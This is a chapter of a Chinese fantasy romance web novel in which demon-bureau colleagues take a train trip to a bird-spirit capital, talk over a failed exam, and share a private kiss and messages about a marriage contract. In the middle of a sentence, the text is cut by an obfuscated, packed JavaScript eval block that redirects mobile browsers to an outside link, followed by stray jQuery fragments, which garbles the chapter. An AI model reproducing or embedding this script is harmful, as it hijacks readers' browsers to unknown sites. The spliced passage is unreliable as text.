程韶本来在考虑要不要跟出去看看，殷潼别遇到急事，不跟她说就直接走了。


    没想到殷潼很快回来了。


    影院里很暗，程韶老远就看到殷潼，他从坐席区的最外侧一路跟人道着谢走过来。


    程韶在松了一口气的同时，还是觉得自己眼光真好，他真养眼。


    对方在身边坐下。


    “有什么事？”程韶小声问他。


    “没什么事，就是栖云鹊都请人去交流工作经验。”殷潼说道。


    程韶：“哪儿？”


    殷潼：“出去跟你说。”


    栖云鹊都位于盛川，属于盛川省妖灵管理局管辖，是跟神木夜都平级的妖都之一。


    每年十月末，各个妖都之间都会互相派人交流工作，今年神木夜都刚好轮到跟栖云鹊都。


    像这种活动，有一个监管者带队就可以了，算出差，还有差旅补贴。


    不过回来以后得写报告，还要开会讲交流成果。


    殷潼不爱出门，往年这种交流活动都是罗榭去的，他跟那边都熟悉。


    不过今年罗榭没在了，对方指名要的殷潼。


    一般殷潼不太会离开江渝，就算离开也是秘密离开，他在江渝算是一种震慑。


    不过叶嘉琳同意了他去，也算是给他放个假。


    虽然妖灵数量剧增，十局每天都很忙，但是江渝的局势还算稳定。


    -


    出发前，程韶在会议室三张拼起来的椅子上看到了一脸放空的李拥熊。


    他跟木乃伊似的把手放在胸前，看着天花板躺得笔直。


    程韶：“熊哥，你怎么了？”


    李拥熊深吸了口气，屏了一会儿，丧气道：“今年的监管者考核又没通过。”


    “监管者考核？”


    “对啊，我就是个废物。”


    李拥熊一般都是元气满满的，每天好像有使不完的力气，别人都说他工作狂。


    今天这副样子，程韶倒是第一次见。


    程韶：“熊哥，不过就是个考试没通过，有什么的。”


    她以前不爱上的课也老不及格。


    李拥熊坐了起来，可能是情绪有点激动，变成个毛茸茸的老虎脑袋：


    “我真没用，每次考核都要队长提交申请，局里还要审批考核，殷潼每年都给我提交，我每年都参加，流程都快背熟了，可是每年都通不过。以前倒是还好，现在队里就剩……”


    会议室的门被敲了敲。


    门明明是开着的，用不着敲门。


    一人一虎回头，看到殷潼站在门口。


    “走，带你去散散心。”殷潼说道。


    -


    要出去玩，李拥熊还是开心了起来，把考核没通过的丧气抛在了脑后。


    他恢复了元气，上火车的时候程韶都不用自己拿行李，全是李拥熊帮忙拿，连辛黎兰的他也一起包了。


    “盛川好吃的可多了，”秋日已经有些凉了，但是李拥熊搬得满身大汗，坐下时擦了一把汗水，“我每次去都会吃胖好几斤再回来。”


    确实，盛川的食物好吃是出了名的，无论是在妖灵还是在人类之间。


    他们买的软卧，有一个自己的小包厢。


    从江渝出发的火车可以带动物，所以李拥熊带上了南塔天，现在正趴在桌子上晒太阳。


    而程韶把小橙子也一起带上了，小橙子在南塔天身上探险。


    一般十局的这种出差都是直接买四张票，这样有个包厢，他们聊什么都自在一点。


    辛黎兰已经睡觉去了。


    她已经连轴转好几天没有睡过觉了，被叶嘉琳勒令休息。


    所以一上车就开始补觉，她熟睡的时候是一棵盆栽。


    “监管者的考核除了理论的部分，还有实战考核。”李拥熊心里那坎儿到底还是没有过去。


    “实战考核要求，必须要有一项战无不胜的必杀技，或者一项绝境求生的护身法，或者是精通自己种类的特色技。”


    虎的特色技能，像是虎啸龙威、虎虎生风之类的特色技，李拥熊虽然也会，但是几乎每只老虎都会，他也没有特别出彩，所以他的考核一直通不过。


    “像辛黎兰和白倾珠以前那两次幻术的考核，到现在都在新员工培训的教材里，还有殷潼就更不用说，他每个技能拿出来都能单独再通过一遍考核。”


    “但是这种要求也是合理的，”李拥熊说道，“一般出去做任务，队伍里的双监管者就是核心，监管者首先需要极强的破局能力，否则万一出了事就麻烦了，我确实能力还达不到，我有时候化形都不太稳当……”


    包厢开了，两人停止了谈话，是殷潼买了盒饭回来。


    “你幼年时生病，”听到他们在聊的内容，殷潼把盒饭放下，反而开导李拥熊，“你的父母为了保你的命，将你七窍封了几窍，你现在这样的实力，已经算不错了。”


    李拥熊：“谁知道那几窍封死了就冲不开了。”


    殷潼：“未必是坏事，先吃饭吧。辛黎兰还睡着？”


    李拥熊：“嗯，她自己带苔草了，说吃饭不用喊她，有空给她浇浇水就行了。”


    -


    程韶没有坐过软卧，这是第一回。


    但是这种慢吞吞的火车，却坐着也挺惬意的。


    半夜睡觉听着况且况且的火车声音，有一种自己还在路上的安定感。


    不过火车还是会颠簸的，程韶起了夜回来，车厢里很安静，只有火车呼啸和绵长的呼吸声。


    她坐到自己床边，稍微拉开了一点窗帘，近处的景色在飞速掠过，而远处的山像是水墨里的远景。


    今晚有月亮，月明星稀，后半夜还挂在中天，是个下弦月。


    好巧，下弦月，她正缺一幅下弦月。


    程韶构思着自己的第四幅画，人总有把事情做完的冲动。


    但是她突然发现殷潼好像醒了。


    她凑近过去看他，他果然是醒了，只是没有起来，侧头看她，目光沉静，可能是刚醒过来，睡眼惺松的，还伸手揉了揉眼睛。


    程韶突然就凑过去亲了一下他的嘴唇。


    火车里软卧的床很窄，睡一个人睡得下，两个人睡不下。


    忽然听到点动静，他们立刻像惊弓之鸟似的分开了。


    程韶回头一看，是刚才火车晃了一下，重眀鸟从枕头上滑了下去。


    但是那小鸟的睡眠质量好，吧唧吧唧嘴还是睡得很香。


    程韶屏着呼吸伸手把重眀鸟抓过来，仔细检查了一下，确实还在睡觉，才松了口气。


    李拥熊在上铺翻了个身，南塔天咕噜咕噜。


    她很喜欢跟殷潼接吻的感觉，但是在这种地方好像不太安全。


    只是刚才浅浅地尝了，吃了一口但是没吃饱，反而更馋了。


    但是也没办法，程韶回到自己那张下铺躺下了。


    手机屏幕亮了，是殷潼给她发消息。


    [奉泽：要不要在栖云鹊都领婚契？]


    [沉昭：不都有合光金契了。]


    [沉昭：而且我不介意婚前性行为的。]


    也不知道怎么就发出去了，可能打字比直接说没有羞耻心一点。


    不过她确


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15028427|155718||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    实不在意，唐椿锦在英国长大，老早就开始date了，观念很开放，只跟她说遇到喜欢的男孩子就尽情享受青春。


    不过就是程暮山的观念比较传统，每次唐椿锦跟姐妹俩这么说，就会很严肃地补充，说女孩子还是要保护好自己，还是要好好挑一挑的，最好带回家给父母把把关。


    这种教育模式，结果就是唐月桐从小到大都没谈过恋爱，到现在也是一直专注于事业，好像根本没有这方面需求。


    而她虽然从小到大都是颜控，但是在遇到殷潼以前，也是真的没有遇到过能让她心动到想主动扑倒的，而且……


    大概是父母爱情太甜，让姐妹俩都对感情要求很高。


    而且什么姐妹俩，已经不是姐妹了。


    [奉泽：金契是金契。以往领婚契前需要三书六礼，不知你想不想要这些。]


    父母都不再是她的父母了，还怎么要。就直接省去吧。


    [沉昭：栖云鹊都领婚契有什么特殊的吗？]


    [奉泽：栖云鹊都有比翼鸟，领完婚契可以去参加比翼鸟族的酒会。]


    [奉泽：不过婚契是双方面契约，而且其实没有什么实质性的用处，反而毁约还有惩罚，所以现在很多年轻的妖兽都不愿意领婚契了。你若想参加比翼鸟的酒会，也可以直接带你去。]


    -


    南山经之首曰鹊山，其首曰招摇之山。


    栖云鹊都就建在旧时的招摇山上。


    那是《山海经》里的地名，程韶还查了一下。


    “有草焉，其状如韭而青花，其名曰祝余，食之不饥。有木焉，其状如榖而黑理，其花四照，其名曰迷榖，佩之不迷。”


    看着这两种植物的示意图，不知道为什么，程韶居然觉得有点眼熟。


    她仔细回想，突然想起来她第一次学阵法的时候，她在罗榭的阵法里看到的就是这两种植物。


    祝余和迷榖。


    而后来，在晔风影视城，那个有人喊她“师妹”的幻觉里，也有这两种植物。


    程韶忽然有点不安，原本她只是跟着殷潼他们来散心。


    现在却忽然觉得，好像冥冥之中有什么力量，把她推到了这里。


    -


    “神木夜都建立依托的是牵丝神木的力量，”殷潼跟她介绍，“而鸟栖于木，栖云鹊都聚集的就是当时生活在牵丝神木周围的那一批鸟雀，到现在，很多鸟雀类的妖灵也是更喜欢栖息在栖云鹊都。”


    他们从火车上下来已经是傍晚，再吃过晚饭上山时已经是深夜。


    像这种大型的妖都附近，都会有禁止妖术的阵法，特别是栖云鹊都聚集的是鸟类，能飞，所以程韶他们只能爬山上去。


    越是往高处爬，那种传说中的植物就越是多。


    不过好在程韶现在身体素质不错，一路爬山也没有觉得累，弄得在前面扛着行李的李拥熊都感叹，现在人类的身体素质也这么好了。


    但是夜虽然越来越深，天却越来越亮。


    当他们真正踏上栖云鹊都时，程韶却发现这个地方，出奇的亮。


    神木夜都永远是夜，而这座鸟类栖息的栖云鹊都，却永远是白天。


    即使山下已经是深夜，这里依旧亮如白昼。


    这仿佛是一片山顶的原始森林，地面上是土路，石块间长着翠绿的杂草，树木郁葱，到处都是鸟鸣之声，天上不是月亮，而是太阳。


    “欢迎从江渝远道而来的来访团。”


    一进入栖云鹊都的领地，就有一只喜鹊从树上蹦下来。


    跳了几下变成一个穿着白衬衫黑外套的接待人员。